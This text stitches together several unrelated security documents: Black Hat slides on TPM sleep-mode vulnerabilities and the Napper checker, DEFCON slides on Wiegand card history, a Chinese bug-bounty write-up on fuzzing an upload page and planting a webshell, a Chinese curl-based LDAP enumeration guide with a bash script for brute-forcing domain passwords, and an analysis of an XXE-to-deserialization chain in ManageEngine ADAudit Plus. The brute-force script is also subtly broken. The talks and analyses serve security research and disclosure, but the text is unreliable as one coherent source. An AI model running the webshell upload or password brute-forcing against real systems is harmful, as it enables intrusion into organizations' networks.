Launch MLE again and then, Unseal S3 key and MAC with P-Launch
PCRs
Extend PCRs and Resume Kernel
Wake Up, Restore Static PCRs, and Resume tBoot
- Real Mode, Single CPU
- begin_launch() → txt_s3_launch_environment()
- post_launch() → s3_launch() → verify_integrity() → g_tpm->unseal()
- verify_integrity() → extends_pcrs() →g_tpm→extend()
- s3 launch()-> prot to real()
Sleep Process with tBoot
Seal S3 key and MAC of Kernel Memory with Post-Launch PCRs
Save Static PCRs(0~16)
- seal_post_k_state() → g_tpm->seal()
- tpm->save_state()
- shutdown_system()
Shutdown Intel TXT
- txt_shutdown()
Sleep. Power off the CPU and the TPM!
Launch MLE again and then, Unseal S3 key and MAC with P-Launch
PCRs
Extend PCRs and Resume Kernel
Wake Up, Restore Static PCRs, and Resume tBoot
- Real Mode, Single CPU
- begin_launch() → txt_s3_launch_environment()
- post_launch() → s3_launch() → verify_integrity() → g_tpm->unseal()
- verify_integrity() → extends_pcrs() →g_tpm→extend()
- s3 launch()-> prot to real()
?!
“Lost Pointer” Vulnerability
(CVE-2017-16837)
Memory Layout of tBoot
Multiboot Header
Code (.text)
Read-Only Data
(.rodata)
Uninitialized Data
(.bss)
Measured by Intel TXT!
_mle_start
_mle_end
…
Initialized Data
(.data)
struct tpm_if *g_tpm
struct tpm_if tpm_12_if
struct tpm_if tpm_20_if
“Lost Pointer” Vulnerability
(CVE-2017-16837)
Memory Layout of tBoot
Multiboot Header
Code (.text)
Read-Only Data
(.rodata)
Uninitialized Data
(.bss)
Measured by Intel TXT!
_mle_start
_mle_end
…
Initialized Data
(.data)
struct tpm_if *g_tpm
struct tpm_if tpm_12_if
struct tpm_if tpm_20_if
YOU BETRAY ME!
UNMEASURED!
Exploit Scenario of the CVE-2017-16837 (1)
Compromised Software Stack
(1) Leave normal hashes in event logs
BIOS/UEFI
Sleep
(5) Sleep
Compromised Software Stack
(6) Wake up
(2) Extract and calculate the normal hashes
(3) Store the normal hashes in RAM
DCE and DLME (tboot)
(5) Reset the TPM and replay the normal hashes with
the hooked functions
(4) Hook function pointers in the DCE and the DLME
Hooked
functions
DCE and DLME (tboot)
Faked State (Normal State)
Compromised State
Hash
values
Exploit Scenario of the CVE-2017-16837 (2)
BIOS/UEFI
tboot
GRUB
Compromised
Kernel
User
Application
TPM
Remote
Attestation
Server
Abnormal
PCRs
Nonce
Sig(PCRs, Nonce) AIK
Exploit Scenario of the CVE-2017-16837 (3)
BIOS/UEFI
tboot
GRUB
User
Application
TPM
Remote
Attestation
Server
Abnormal
PCRs
Nonce
Sig(PCRs, Nonce) AIK
Compromised
Kernel
Replay Good Hashes
Reset the TPM
with Sleep
Normal
PCRs
~~
Happiness
0
5
10
- 10
- 5
- 1000
- 100
2017
2018
2019
Time
(year)
First Encounter
Second Encounter
CVE-2017-
16837
CVE-2018-
6622
USENIX
Security
Black Hat
Asia
Black Hat Asia
with Napper
Contents - CVE-2018-6622
DRTM measures code
while waking up!
How about SRTM?
Waking Up Process of the SRTM
<TCG PC Client Platform Firmware Profile Specification>
OS
ACPI
(BIOS/UEFI)
TPM
(1) Request to
save a state
Sleep
(S3)
(5) Request to
restore a state
(2) Request to
enter sleep
(4) Wake up
(3) Sleep
(6) Resume OS
“Grey Area” Vulnerability (1)
(CVE-2018-6622)
<TCG PC Client Platform Firmware Profile Specification>
OS
ACPI
(BIOS/UEFI)
TPM
(1) Request to
save a state
Sleep
(S3)
(5) Request to
restore a state
(2) Request to
enter sleep
(4) Wake up
(3) Sleep
(6) Resume OS
“Grey Area” Vulnerability (2)
(CVE-2018-6622)
<Trusted Platform Module Library Part1: Architecture Specification>
What is the “corrective action”?
This means “reset the TPM”
TPM 2.0
TPM 1.2
“Grey Area” Vulnerability (2)
(CVE-2018-6622)
<Trusted Platform Module Library Part1: Architecture Specification>
What is the “corrective action”?
This means “reset the TPM”
TPM 2.0
TPM 1.2
??
YOU BETRAY ME!
I have no idea about “corrective action”
I should do nothing!
“Grey Area” Vulnerability (2)
(CVE-2018-6622)
<Trusted Platform Module Library Part1: Architecture Specification>
What is the “corrective action”?
This means “reset the TPM”
TPM 2.0
TPM 1.2
Clear!
Exploit Scenario of the CVE-2018-6622
Compromised Software Stack
(1) Leave normal hashes in event logs
Compromised State
BIOS/UEFI
Sleep
(4) Sleep without saving the TPM state
Compromised Software Stack
(5) Wake up
Faked State (Normal State)
(2) Extract and calculate the normal hashes
(6) Reset the TPM and replay the normal hashes
(3) Store the normal hashes in RAM
Hash
values
~~
Happiness
0
5
10
- 10
- 5
- 1000
- 100
2017
2018
2019
Time
(year)
First Encounter
Second Encounter
CVE-2017-
16837
CVE-2018-
6622
USENIX
Security
Black Hat
Asia
Black Hat Asia
with Napper
Contents – “Napper”
You! Again!
Manager
Second Encounter!!!
“Napper”?
- Is a tool that can check the ACPI S3 sleep mode
vulnerability in the TPM
- It is a bootable USB device based-on Ubuntu 18.04
- It has a kernel module and user-level applications
- Makes the system take a nap and checks
the vulnerability
- The kernel module exploits the grey area vulnerability (CVE-2018-
6622) while sleeping by patching kernel code
- The user-level applications check the TPM status and show a report
“Napper”?
- Is a tool that can check the ACPI S3 sleep mode
vulnerability in the TPM
- It is a bootable USB device based-on Ubuntu 18.04
- It has a kernel module and user-level applications
- Makes the system take a nap and checks
the vulnerability
- The kernel module exploits the grey area vulnerability (CVE-2018-
6622) while sleeping by patching kernel code
- The user-level applications check the TPM status and show a report
CVE-2017-16837 is a software vulnerability!
Upgrade tBoot if the version is lower than v1.9.7
Napper’s Kernel Module (1)
- Patches the tpm_pm_suspend() function in TPM driver
- The function is invoked by kernel while S3 sleep sequence
- The kernel module changes the function to “return 0;”
Napper’s Kernel Module (2)
Napper’s User-Level Applications
- Consist of TPM-related software and launcher software
- I added a command-line tool, “tpm2_extendpcrs”, to tpm2_tools
- I also made a launcher software for easy-of-use
- Load the kernel module and check the TPM vulnerability
- The launcher loads napper’s kernel module and takes a nap
- It checks if PCRs of the TPM are all ZEROS and extends PCRs
- It gathers and reports the TPM and system information with
tpm2_getinfo, dmidecode, and journalctl tools
Napper Live-CD and USB Bootable Device
Ubuntu 18.04
+ Kernel 4.18.0-15
TPM-related software
+
Napper Live-CD.iso
User-level Applications
+
+Pinguybuilder_5.1-7
Napper Live-CD and USB Bootable Device
Ubuntu 18.04
Kernel 4.18.0-15
TPM-related software
+
+
Napper Live-CD.iso
Pinguybuilder_5.1-7
User-level Applications
+
Project page:
https://github.com/kkamagui/napper-for-tpm
Model
Status
BIOS
TPM
Vendor
Version
Release Date
Manufacturer
Vendor String
ASUS
Q170M-C
Vulnerable
American
Megatrends Inc.
4001
11/09/2018
Infineon (IFX)
SLB9665
Dell
Optiplex 7040
Vulnerable
Dell
1.11.1
10/10/2018
NTC
rls NPCT
Dell
Optiplex 7050
Vulnerable
Dell
1.11.0
11/01/2018
NTC
rls NPCT
GIGABYTE
H170-D3HP
Vulnerable
American
Megatrends Inc.
F20g
03/09/2018
Infineon (IFX)
SLB9665
GIGABYTE
Q170M-MK
Vulnerable
American
Megatrends Inc.
F23
04/12/2018
Infineon (IFX)
SLB9665
HP
Spectre x360
Vulnerable
American
Megatrends Inc.
F.24
01/07/2019
Infineon (IFX)
SLB9665
Intel
NUC5i5MYHE
Vulnerable
Intel
MYBDWi5v.86A.
0049.2018.
1107.1046
11/07/2018
Infineon (IFX)
SLB9665
Lenovo T480
(20L5A00TKR)
Safe
Lenovo
N24ET44W
(1.19 )
11/07/2018
Infineon (IFX)
SLB9670
Lenovo T580
Safe
Lenovo
N27ET20W
(1.06 )
01/22/2018
ST-
Microelectronics
Microsoft
Surface Pro 4
Safe
Microsoft
Corporation
108.2439.769
12/07/2018
Infineon (IFX)
SLB9665
Demo
Napper tool
Countermeasures – CVE-2018-6622
(The Grey Area Vulnerability)
1) Disable the ACPI S3 sleep feature in BIOS menu
- Brutal, but simple and effective
2) Revise TPM 2.0 specification to define “corrective action”
in detail and patch BIOS/UEFI firmware
- A long time to revise and apply to the TPM or BIOS/UEFI firmware
- But, fundamental solution!
Check and update your BIOS/UEFI firmware!
Countermeasures – CVE-2017-16837
(The Lost Pointer Vulnerability)
1) Apply my patch to tBoot
- https://sourceforge.net/p/tboot/code/ci/521c58e51eb5be105a2998
3742850e72c44ed80e/
2) Update tBoot to the latest version
Conclusion
- Until now, we have trusted the untrustable hardware and
software with reputation!
- “Reputation” is not “Trustworthiness”
- Trust nothing only with reputation and check everything for yourself
- Napper helps you to check the TPM vulnerability
- Check your system with Napper or visit the project site for the results
- Update your BIOS/UEFI firmware with the latest version
- If there is no patched firmware yet, disable the ACPI S3 sleep feature in
BIOS menu right now!
Betrayal of Reputation:
Trusting the Untrustable Hardware and Software with Reputation
Twitter: @kkamagui1
Seunghun Han
[email protected]
Project: https://github.com/kkamagui/napper-for-tpm
Reference
- Seunghun, H., Wook, S., Jun-Hyeok, P., and HyoungChun K. Finally, I Can Sleep Tonight: Catching Sleep Mode
Vulnerabilities of the TPM with the Napper. Black Hat Asia. 2019.
- Seunghun, H., Wook, S., Jun-Hyeok, P., and HyoungChun K. A Bad Dream: Subverting Trusted Platform Module
While You Are Sleeping. USENIX Security. 2018.
- Seunghun, H., Jun-Hyeok, P., Wook, S., Junghwan, K., and HyoungChun K. I Don’t Want to sleep Tonight:
Subverting Intel TXT with S3 Sleep. Black Hat Asia. 2018.
- Trusted Computing Group. TCG D-RTM Architecture. 2013.
- Trusted Computing Group. TCG PC Client Specific Implementation Specification for Conventional BIOS. 2012.
- Intel. Intel Trusted Execution Technology (Intel TXT). 2017.
- Butterworth, J., Kallenberg, C., Kovah, X., and Herzog, A. Problems with the static root of trust for measurement.
Black Hat USA. 2013.
- Wojtczuk, R., and Rutkowska, J. Attacking intel trusted execution technology. Black Hat DC. 2009.
- Wojtczuk, R., Rutkowska, J., and Tereshkin. A. Another way to circumvent Intel trusted execution technology.
Invisible Things Lab. 2009.
- Wojtczuk, R., and Rutkowska, J. Attacking Intel TXT via SINIT code execution hijacking. Invisible Things Lab. 2011.
- Sharkey, J. Breaking hardware-enforced security with hypervisors. Black Hat USA. 2016. | pdf |
0x01 前⾔
有技术交流或渗透测试培训需求的朋友欢迎联系QQ/VX-547006660
0x02 资产收集到脆弱系统
在某src挖掘过程中，本⼈通过ssl证书对域名资产进⾏了收集，通过计算域名对应ip段的权重
整理出其C段资产，进⾏了批量⽬录扫描
查看⽬录扫描结果后，发现了⼀个有趣的⽂件
http://36...*/upload_image.php
对于这种⻚⾯，毫⽆疑问，要对参数进⾏FUZZ
0x03 FUZZ参数+表单上传
使⽤arjun⼯具对其参数进⾏fuzz，发现了⼀个参数字段为do
随后在burpsuite中对do的参数值进⾏fuzz
成功fuzz出⼀个do的参数值，upload
构造url
http://36...*/upload_image.php?do=upload，成功出现上传表单，
webshell名skr_anti.php
选择我们的webshell直接上传
上传后fuzz上传路径
赶上双倍活动，8000块钱到⼿
0x04 总结
我说这个漏洞有⼿就⾏，⼤家应该没意⻅吧
综合来说学习思路点如下：
1.遇到空⽩敏感⻚⾯/api，FUZZ参数和参数值
2.上传没返回路径不要慌，⽤聪明的⼤脑去FUZZ
http://36.*.*.*/upload --------> 403
继续fuzz
http://36.*.*.*/upload/images --------> 403
构造url
http://36.*.*.*/upload/images/skr_anti.php
3.SRC测试的时候不要上传webshell，传phpinfo就⾏，不然会被降赏⾦，我就是吃了哑巴亏。。。第⼀次遇着不
让传webshell的
4.资产收集是红队还有渗透测试的核⼼ | pdf |
Who invented the first Prox Card?
− a: Charles Walton & Thomas Milheiser
− b: Gary Carroll
− c: Someone else
What security company dismissed it as a mere magicians
trick?
− a: Wells Fargo
− b: Securitas
− c: ADT
What does this have to do with gold fish?
− a: The fish were used like canaries in the mines
to detect hazardous substances
− b: The fish was used in the logo of a security company
− c: The fish were in a fish tank with an underwater reader
6-Aug-09
Slide 1
© 2009 Michael L. Davis, All Rights Reserved
Presentation Teasers
“Wiegand’s Wonderful Wires”
DEFCON 17
July 30, 2009
Michael L. Davis
I am here as a private citizen and am not
representing my employer.
All of the material presented herein has
appeared in the public domain at one time or
another.
I will answer historical questions about John
Wiegand and the access control industry.
I will NOT answer any questions (technical
or otherwise) about my employer’s or any
other vendor’s products.
6-Aug-09
Slide 3
©2009 Michael L. Davis, All Rights Reserved
Disclaimer
Card Technology Timeline
Old Prox Patents
John Wiegand - Biography
Wiegand Applications
Wiegand Inventions
Wiegand Hacking
What’s Next?
6-Aug-09
Slide 4
©2009 Michael L. Davis, All Rights Reserved
Agenda
Card Technology Time Line
6-Aug-09
© 2009 Michael L. Davis, All Rights Reserved
Slide 5
The “First” RFID Tag
Steven Shepard claims
that Mario Cardullo was
the inventor of the
first RFID Tag*.
After a spring of 1969
airplane ride in which he
was seated next to an
IBM engineer, “Cardullo
sketched out the idea
for the first RFID-like
tag with dynamic
memory.”
Patent issued Jan-23-
1973.
6-Aug-09
© 2009 Michael L. Davis, All Rights Reserved
Slide 6
* RFID, Steven Shepard, page 49
6-Aug-09
Slide 7
© 2009 Michael L. Davis, All Rights Reserved
Transponder Apparatus & System
Priority Date of May-21-1970
Actually, there were several earlier patents
for RFID Interrogator/Transponder ID
Systems.
− US Patent 3,299,424 - Interrogator-Responder
System has a priority date of May-05-1965.
However, none of these earlier patents
utilized digital memory; they were analog in
nature.
Note that Cardullo’s first prototypes used
core memory to store 16 bits of data.
6-Aug-09
Slide 8
© 2009 Michael L. Davis, All Rights Reserved
But Earlier RFID Patents Exist
6-Aug-09
Slide 9
© 2009 Michael L. Davis, All Rights Reserved
Interrogator-Responder System
Priority Date of May-05-1965
Introducing the Musician with
Perfect Pitch - John R. Wiegand
Although he might very well have
been a world famous symphony
conductor, history remembers
him as the man who invented and
perfected the “Wiegand-Effect”.
But, until now, nobody realized
that he also invented a digital
read/write Prox RFID system
before anyone else.
As Paul Harvey would say,
“Now, the rest of the story.”
6-Aug-09
© 2009 Michael L. Davis, All Rights Reserved
Slide 10
6-Aug-09
Slide 11
© 2009 Michael L. Davis, All Rights Reserved
Interceptor Xmfr Prox Key
Priority Date of Dec-17-1965
Uses Described in Patent
Background – Sound Familiar?
6-Aug-09
© 2009 Michael L. Davis, All Rights Reserved
Slide 12
6-Aug-09
Slide 13
© 2009 Michael L. Davis, All Rights Reserved
Interceptor Xmfr Proximity Key
Patent Drawings
6-Aug-09
Slide 14
© 2009 Michael L. Davis, All Rights Reserved
Interceptor Xmfr Proximity Key
Patent Drawings (cont.)
6-Aug-09
Slide 15
© 2009 Michael L. Davis, All Rights Reserved
Interceptor Xmfr Proximity Key
Patent Drawings (cont.)
“Any sufficiently advanced technology is
indistinguishable from magic.“
− Arthur C. Clarke, "Profiles of The Future", 1961
Keep this in mind when you see the next
slide.
6-Aug-09
Slide 16
© 2009 Michael L. Davis, All Rights Reserved
Quote
Milton Velinsky, John’s Business partner, told
me that he demo’ed John’s Prox invention to
ADT and they dismissed it as a magicians trick
and doubted its viability.
John’s Prox invention was never commercialized
yet it was far ahead of its time.
− It used the same principle as today’s Prox – near field
communications at 4.8 kHz.
− Data was stored on the wire sort-of-like bubble
memory.
− It was passive and drew power from the interrogator.
But it could use a battery for longer communications.
6-Aug-09
Slide 17
© 2009 Michael L. Davis, All Rights Reserved
ADT Declined
JOHN WIEGAND BIOGRAPHY
6-Aug-09
© 2009 Michael L. Davis, All Rights Reserved
Slide 18
Who Was John Wiegand?
John was neither an engineer nor a physicist but
was a musician by training.
Born in Germany in 1912, John Wiegand came to the
US in the 1930’s and studied piano and choral
conducting at the Julliard School of Music in NY.
While attending Julliard, he became interested in
audio amplifiers and later became an engineering
assistant for magnetic amplifiers at the Bell
Telephone Laboratory.
In 1944, he began working for Sperry Gyroscope
Company in Lake Success, N.Y., and later for a
Government contractor as a product developer of
tape recorders.
6-Aug-09
(c) 2009 Michael L. Davis, All Rights Reserved
19
Who Was John Wiegand? (cont.)
In 1965, he started his relentless pursuit of
magnetic research that led to the development and
patenting of the Wiegand effect.
Before he had an oscilloscope to see pulses, it was
his perfect pitch that enabled him to listen to the
magnetic pulse produced by his wire through a
loudspeaker.
John always referred to the wires as “she” and said
that the wires sung to him.
John later met Milton Velinsky and together they
formed Wiegand Electronics to develop product
applications for the Wiegand Effect.
John did the inventing and Milt did the
promoting and selling.
6-Aug-09
(c) 2009 Michael L. Davis, All Rights Reserved
20
SOME OF JOHN’S INVENTIONS
6-Aug-09
© 2009 Michael L. Davis, All Rights Reserved
Slide 21
PARTIAL LIST
OF APPLICATIONS*
INDUSTRIAL CONTROLS
− Intrinsically safe limit switch
− Flowmeter
− Position sensor
− Rotary pulser
− Linear pulser
− Reference sensor
− Coded process control
− Coded conveyor
− Rate sensor
− Motion sensor
− Time delay
− Servo controls
AUTOMOTIVE
− Ignition systems
− Anti-skid sensor
− Fuel injection controls
− Fuel mileage computer
− Transmission controls
− Speedometer
− Tachometer
− Turn signals
− Level control
− Crank position sensor
Meters
− Intrinsically safe gas meter
− Electric meter
− Water meter
6-Aug-09
© 2009 Michael L. Davis, All Rights Reserved
Slide 22
* From Sensor Engineering “Wiegand Effect
Design Guide”
PARTIAL LIST
OF APPLICATIONS (cont.)
CARD AND KEY SYSTEMS
− Transaction cards
− Credit cards
− Gasoline cards
− Check verification
− Process controls
− Security access control
− Personal ID cards
− Time cards
− Mass transit fare cards
− Parking lot gate cards
− Badge readers
− Cable TV
ALARM SYSTEMS
− Batteryless alarms
− Wireless alarms
− Wired systems
− Explosion proof sensor
Switches
− Intrinsically safe switch
− Contactless switch
− Coded push button switch
− Keyboards
− Discrete keys
− Limit switches
− Proximity switches
6-Aug-09
© 2009 Michael L. Davis, All Rights Reserved
Slide 23
US 4,187,981 - Coded module for use in a
magnetic pulse generator & method of mfr.
Priority Date of Jan-26-1970
6-Aug-09
© 2009 Michael L. Davis, All Rights Reserved
Slide 24
Wiegand Card Reader
(Priority date of Jan-26-1970)
6-Aug-09
(c) 2009 Michael L. Davis, All Rights Reserved
25
Wiegand Card Reader
(Drawings)
6-Aug-09
(c) 2009 Michael L. Davis, All Rights Reserved
26
Wiegand Card Reader
(Working Model)
This working unit was
actually used by Milt
Velinsky on sales calls
to the NYC Transit
Authority and others.
It was a “drop
through” reader.
Note the trademark
on the card of SNMW
which stands for Self
Nucleating Magnetic
Wire.
6-Aug-09
(c) 2009 Michael L. Davis, All Rights Reserved
27
OTHER PATENTS USING THE
WIEGAND EFFECT
6-Aug-09
© 2009 Michael L. Davis, All Rights Reserved
Slide 28
US 5,908,103 – Wiegand Token
6-Aug-09
© 2009 Michael L. Davis, All Rights Reserved
Slide 29
US 5,632,169 - Self Powered
Electronic Combination Lock
6-Aug-09
©2009 Michael L. Davis, All Rights Reserved
Slide 30
US 5,640,862 - Electronic combination lock
including a sensor which senses position and
direction of movement of the combination dial
6-Aug-09
©2009 Michael L. Davis, All Rights Reserved
Slide 31
US 4,242,789 - Method for making an
improved magnetic encoding device
6-Aug-09
© 2009 Michael L. Davis, All Rights Reserved
Slide 32
US 4,326,124 - Locking apparatus for
preventing unauthorized access or actions
6-Aug-09
©2009 Michael L. Davis, All Rights Reserved
Slide 33
US 5,831,532 - Identification
tags using amorphous wire [IBM]
6-Aug-09
©2009 Michael L. Davis, All Rights Reserved
Slide 34
US 6,191,687 - Wiegand Effect
Energy Generator
6-Aug-09
©2009 Michael L. Davis, All Rights Reserved
Slide 35
US 5,128,840 - Bicycle Luminaire
6-Aug-09
©2009 Michael L. Davis, All Rights Reserved
Slide 36
6-Aug-09
Slide 37
© 2009 Michael L. Davis, All Rights Reserved
US 2009/024180 - Stimulation System, in
Particular, a Cardiac Pacemaker
THE WIEGAND PROTOCOL
6-Aug-09
© 2009 Michael L. Davis, All Rights Reserved
Slide 38
6-Aug-09
Slide 39
© 2009 Michael L. Davis, All Rights Reserved
Wiegand Wires Moving Past Read Head
Generates Pulses = Wiegand Protocol
HACKING WIEGAND CARDS
& THE WIEGAND PROTOCOL
6-Aug-09
© 2009 Michael L. Davis, All Rights Reserved
Slide 40
In 1992, Bill Payne, an employee of
Sandia Labs was assigned to break
electronic systems for the FBI.
He found a way to expose the wires
using Magnaview film and a cow
magnet and then published this
information.
Even though he claims that this was
not classified, the FBI thought
otherwise.
He was fired and is still trying to
clear his name.
6-Aug-09
Slide 41
© 2009 Michael L. Davis, All Rights Reserved
Hacking Wiegand Cards
Photo from Black Hat
presentation by
Schmiedl & Spindel
At DEFCON 13, Zamboni
described a theoretical attack on
a Wiegand output biometric-based
system which he called “Wiegand
Injection”.
At DEFCON 15, Zac Franken
demonstrated a Wiegand Protocol
replay device called GECKO.
6-Aug-09
Slide 42
© 2009 Michael L. Davis, All Rights Reserved
Hacking the Wiegand Protocol
Zamboni-AP Photo by
Joe Cavaretta.jpg
Gecko Photo by Zac
Franken
WRAP UP
6-Aug-09
© 2009 Michael L. Davis, All Rights Reserved
Slide 43
Since 1978, I owe my livelihood to the
electronic physical access control industry.
In my humble opinion, I truly feel that
John’s Wiegand Card Readers was the
foundation of this industry as we know it
today.
Indeed, the Wiegand protocol is still used by
the majority of access control readers.
I once had the privilege of meeting John in
his lab in Valley Stream, NY.
6-Aug-09
Slide 44
© 2009 Michael L. Davis, All Rights Reserved
Dedication
I will post fascinating material that I find at
www.wiegand-effect.com
A colleague of mine, Dr. Scott Guthery, planted
the seed for me to write a book on the subject.
− However, based on the realization of how much
research is required, I currently have no timetable
for completion as I am still in data gathering mode
Perhaps, next year, if DEFCON allows me to
speak again, I can share more of John and his
wonderful wires as well as demos of his devices
and the physics behind his Wiegand Effect
Email:
6-Aug-09
Slide 45
© 2009 Michael L. Davis, All Rights Reserved
The Future - Stay Tuned | pdf |
如何仅使用 curl 利用 LDAP 协议进行 Windows 域的渗透测试
1、简介
Lightweight Directory Access Protocol（LDAP），轻量级目录访问协议，基于 X.500 标准。
那么好，X.500 标准是什么？
X.500 基本上是用来查询有关人员的信息（如邮政地址、电话号码、电子邮件地址等）
的一种服务。可以有：所在机构的部门名称以及国家名称。X.500 目录服务是一种用于开发
一个单位（或组织）内部人员电子目录的标准方法，这个目录可以成为全球目录的一部分，
世界上的任何人都可以访问因特网查询到该目录。这个目录有时称全球用户信息数据库目
录，其思路为以用户界面友好的方式通过人名、部门、单位来找人。许多公司和组织都建立
了 X.500 目录。这个目录组织在同一个"根"目录下，具有一个"树"型结构，包括：国家、单
位、部门和个人。两个知名的 X.500 目录，也是最大的 X.500 目录，它们是用于管理域名
注册的 InterNIC 和存储全美国家实验室的 Esnet。——百度百科
既然 LDAP 是基于 X.500 标准的协议，自然就继承了它的一些优点：分散维护、强大搜索
性能。
再来谈一谈什么是 Windows 域。
自从 Windows 操作系统被创造，它就越来越广泛的应用于商业领域，同时也是全球使用最
广泛的操作系统，企业也会首选 Windows 提供给员工进行日常办公。在企业中，每个员工
的职能和权限是不一样的，所以每个员工能访问到的资源与生产资料也是不同的，这就需要
有一种方法可以在办公网络中实现这种权限分配。
上面说到了 X.500 标准，X.500 标准这种目录组织的格式，十分符合企业内部的职能分配，
更贴近现实世界中的人员职能体系，但 X.500 标准也有一些缺点：实施太过于复杂。
具体是什么复杂的问题，是历史的问题，与本文无关，我们只需要知道后来发生的事情：
由于 X.500 的实施太过于复杂而受到批评。为解决这个问题，密歇根州（Michigan）大
学推出了一种较为简单的基于 TCP/IP 的 DAP 新版本，即轻量级目录访问协议 （LDAP：
Lightweight Directory Access Protocol），主要用于因特网。 LDAP 与 DAP 具有很多类似的
基本功能，另外它还能用来查询私有目录和开放 X.500 目录 上的数据。在过去的几年里，
大多数主要的电子邮件和目录服务软件供应商都对 LDAP 表现出了极大的兴趣，LDAP 已
迅速发展成为因特网上事实的目录协议标准。——百度百科
于是微软便就采用了更为简单的轻量级目录访问协议（LDAP），基于 LDAP 协议创造了
Windows 的活动目录（Active Directory），用于储存现实世界中计算机用户的职能分布，具
体存储着每个用户的用户名、密码等信息，并将该活动目录数据存储在域控制服务器上（默
认是 Ntds.dit 文件），并将每个办公系统的首选 DNS 服务器配置设置为一个指定的运行着
DNS 服务的系统，该 DNS 会提供一个根域名，与活动目录中的根结点名一致，且该 DNS
服务与活动目录联动，同步存储每个加入活动目录的系统（包括域控制服务器系统），提供
解析服务，通过向该 DNS 服务请求便可以定位加入该活动目录的每台主机的 IP。每个用
户在首次加入了活动目录的操作系统上登陆时，认证请求都会通过 DNS 服务定位到域控制
服务器上的活动目录，使用 LDAP 协议在域控制服务器的 389 端口上进行身份认证，实现
登录。Windows 使用这些流程将各个系统组成一个网络，这样便构成了 Windows 域。然
而还有很多的细节没有提到，介绍的仍不够完全。
2、AD 域的 LDAP 数据属性
我们这里使用 Ldifde 工具导出一台域控制服务器中的 LDAP 数据进行分析。
可以看到 LDAP 数据中有很多对渗透测试有帮助的属性，
dn：结点路径
name：结点名
memberOf：说明该结点是哪个结点的成员
lastLogon：上一次登陆时间
关于结点路径，可以将 LDAP 数据比作一棵树，DC 为根结点，OU 为路径，CN 为叶子节
点，且每个结点都可以存储信息。
例如：
dn: CN=Administrators,CN=Builtin,DC=test,DC=local
dn: CN=WIN-1AA3VOP20U1,OU=Domain Controllers,DC=test,DC=local
dn: CN=Domain Admins,CN=Users,DC=test,DC=local
3、curl 请求 LDAP
很多情况下，我们可能在一个条件很苛刻的内网 Linux Shell 上执行命令，例如基于 CVE-
2019-19781 得到的 Citrix Application Delivery Controller（NetScaler ADC）和 Citrix
NetScaler Gateway 设备上的 Linux Shell，这意味着你可能只能执行有限的命令，那么 curl
是我们绝对不能忽视的命令。
LDAP 协议语法：
<ldapurl> ::= "ldap://" [ <hostport> ] "/" <dn> [ "?" <attributes> [ "?" <scope> "?" <filter> ] ]
<hostport> ::= <hostname> [ ":" <portnumber> ]
<dn> ::= a string as defined in RFC 1485
<attributes> ::= NULL | <attributelist>
<attributelist> ::= <attributetype> | <attributetype> [ "," <attributelist> ]
<attributetype> ::= a string as defined in RFC 1777
<scope> ::= "base" | "one" | "sub"
<filter> ::= a string as defined in RFC 1558
当然我们只是为了查询某些结点，所以只需要知道如何遍历所有结点信息即可。
ldap://domain.name:389/<dn>?<filter>
查看 curl 的语法文档后找到 LDAP 身份认证参数：
-u, --user <user:password> Server user and password
下面给出一些常用的 curl 请求样例：
LDAP 基础信息查询（无需身份验证）
curl -v "ldap://192.168.254.131:389/"
显示存在的子结点（需要身份验证）
curl -v "ldap://192.168.254.131:389/DC=test,DC=local"
curl
-v
-u
"[email protected]:Local12345!"
"ldap://192.168.254.131:389/CN=Users,DC=test,DC=local?cn?sub?(cn=*)"
curl
-v
-u
"[email protected]:Local12345!"
"ldap://192.168.254.131:389/DC=test,DC=local?cn?sub?(cn=Users)"
curl -v -u "[email protected]:Local12345!" "ldap://192.168.254.131:389/OU=Domain
Controllers,DC=test,DC=local?cn?sub?(cn=*)"
curl
-v
-u
"[email protected]:Local12345!"
"ldap://192.168.254.131:389/CN=Users,DC=test,DC=local?cn?sub?(cn=*)"
重要结点查询
curl -v -u "[email protected]:Local12345!" "ldap://192.168.254.131:389/OU=Domain
Controllers,DC=test,DC=local"
curl
-v
-u
"[email protected]:Local12345!"
"ldap://192.168.254.131:389/CN=Users,CN=Builtin,DC=test,DC=local"
curl
-v
-u
"[email protected]:Local12345!"
"ldap://192.168.254.131:389/CN=Administrators,CN=Builtin,DC=test,DC=local"
curl
-v
-u
"[email protected]:Local12345!"
"ldap://192.168.254.131:389/CN=RID
Manager$,CN=System,DC=test,DC=local"
4、爆破域用户密码
很简单，首先需要获取一个已经存在的域用户名，然后准备字典列表，使用需要身份验证的
LDAP 结点查询，单个变量进行爆破，返回特殊的属性名则爆破成功。
#!/bin/bash
# Ldap_Crack.sh
name=$1
filename=$2
for password in awk -F ':' '{print $2}'
do
curl
-v
-u
"$name:$password"
"ldap://192.168.254.131:389/OU=Domain
Controllers,DC=test,DC=local">el.txt
grep -w "objectGUID" el.txt&& echo $password||echo "..."
done | pdf |
环境搭建
https://archives2.manageengine.com/active-directory-audit/7055/ManageEngine_ADAudit_Plus_x
64.exe
需要搭建一个域环境，直接把安装adaudit的机器提升为域控就行。
分析
这个洞用了两个点串起来成了一个rce，分别是xxe和一个readObject的点。
Cewolf readObject
readObject是steventseeley挖掘的Cewolf反序列化，ADAudit仍然有这个servlet，并且init参数为
FileStorage。
de.laures.cewolf.storage.FileStorage#getChartImage 这个地方存在readObject
详细的不讲了，看steventseeley在 https://srcincite.io/advisories/src-2020-0011/ 中提到的poc就懂
了。
这个利用点需要在目标机器上上传一个序列化的payload，然后通过 ../ 跨目录触发。在下面的xxe中会
串起来利用。
xxe
xxe来自比较常规的DocumentBuilderFactory类
在com.adventnet.sym.adsm.auditing.server.category.ProcessTrackingListener#parseTaskContent
中
来自于eventTbl参数的 Task Content 或者 Task New Content 键值会造成xxe。
然后找路由触发点。
先来看web.xml
/api/agent 对应
com.adventnet.sym.adsm.auditing.webclient.ember.api.ADAPAgentAPIServlet#processRequ
est
跟如
com.adventnet.sym.adsm.auditing.webclient.ember.api.RestAPIHandler#executeAgentRequ
est
通过正则匹配拿到对应的handler为
com.adventnet.sym.adsm.auditing.webclient.ember.api.agent.AgentDataHandler#receiveD
ata
在receiveData中通过读body取json，body取不到就从header中拿json，然后转成一个json数组
jsonEventArray。接着如果是有效的json
交由 com.adventnet.sym.adsm.auditing.server.EventDataAdapter#notify 消息队列处理。
notify只负责向eventQueue中加事件，真正处理队列消息的地方在其子类
com.adventnet.sym.adsm.auditing.server.EventDataAdapter.EventDispatcher#run 中
在这里需要关注一点，如果原始data中DomainName等于null，那么DomainDnsName也会等于null。
这个地方是个大坑，如果没有给对正确的域环境的域名，那么在下一步就不会触发漏洞，接着看。
通过重组modData，最终交由
com.adventnet.sym.adsm.auditing.server.ProcessMonitor#process 处理。
